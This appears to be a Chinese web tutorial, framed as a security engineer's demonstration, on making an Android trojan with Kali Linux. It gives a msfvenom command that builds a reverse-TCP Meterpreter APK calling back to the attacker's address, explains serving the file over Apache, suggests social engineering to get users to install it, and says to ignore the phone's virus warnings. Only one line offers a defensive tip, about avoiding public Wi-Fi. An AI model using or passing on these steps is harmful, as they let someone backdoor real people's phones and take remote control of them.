网络安全工程师演示：黑客如何配置渗透测试网络和生成安卓木马？

一、网络配置

1、首先保证所有的设备（kali虚拟机和Android/ target=_blank class=infotextkey>安卓手机）都连接到同一个局域网（Wi-Fi）下。

在现实生活中，黑客通常找寻免费的公共Wi-Fi，来保证有足够多的安卓手机供其渗透。所以如无必要，还是尽量不要使用公共Wi-Fi。

操作详解：

Kali设置网络环境（桥接模式）

然后再点击 “确定”即可。

2、受害者安卓手机的网络设置

将安卓手机连接到与kali虚拟机相通的局域网下，并查看其ip地址。

3、查看kali虚拟机的ip地址是否与安卓手机在同一局域网下（网段）

在kali终端输入：ifconfig

4、生成安卓木马

让所有的安卓手机（与kali虚拟机在同一个局域网之中）。

在kali中生成一个安卓木马（一个apk文件），在终端输入命令：

msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.0.102 lport=4444 R>/root/shell.apk

用msfvenom生成一个安卓端的meterpreter的反向payload

–p (- -payload-options) 添加载荷payload。

载荷这个东西比较多，这个软件就是根据对应的载荷payload生成对应平台下的后门，所以只有选对payload，再填写正确自己的IP，PORT就可以生成对应语言，对应平台的后门了!

上面的命令是指定返回一个tcp的payload

lhost指定本定监听的地址，即本地kali虚拟机的ip地址。

lport指定监听本地的端口号（4444）

5、操作详解：

用msfvenom生成一个安卓端的meterpreter的反向payload

由于我们只是渗透测试，并且攻击环境并不非常理想化，有兴趣的可以使用社会工程学来诱导用户对该apk文件下载并安装。接下来，就只开启apach服务，让安卓主机自动安装该apk文件。

6、在安卓手机浏览器的地址栏输入：192.168.0.102/shell.apk，kali虚拟机的IP地址/shell。apk。并将apk木马文件下载下来。

即使提醒病毒风险，也没有多大关系，继续安装成功就可以。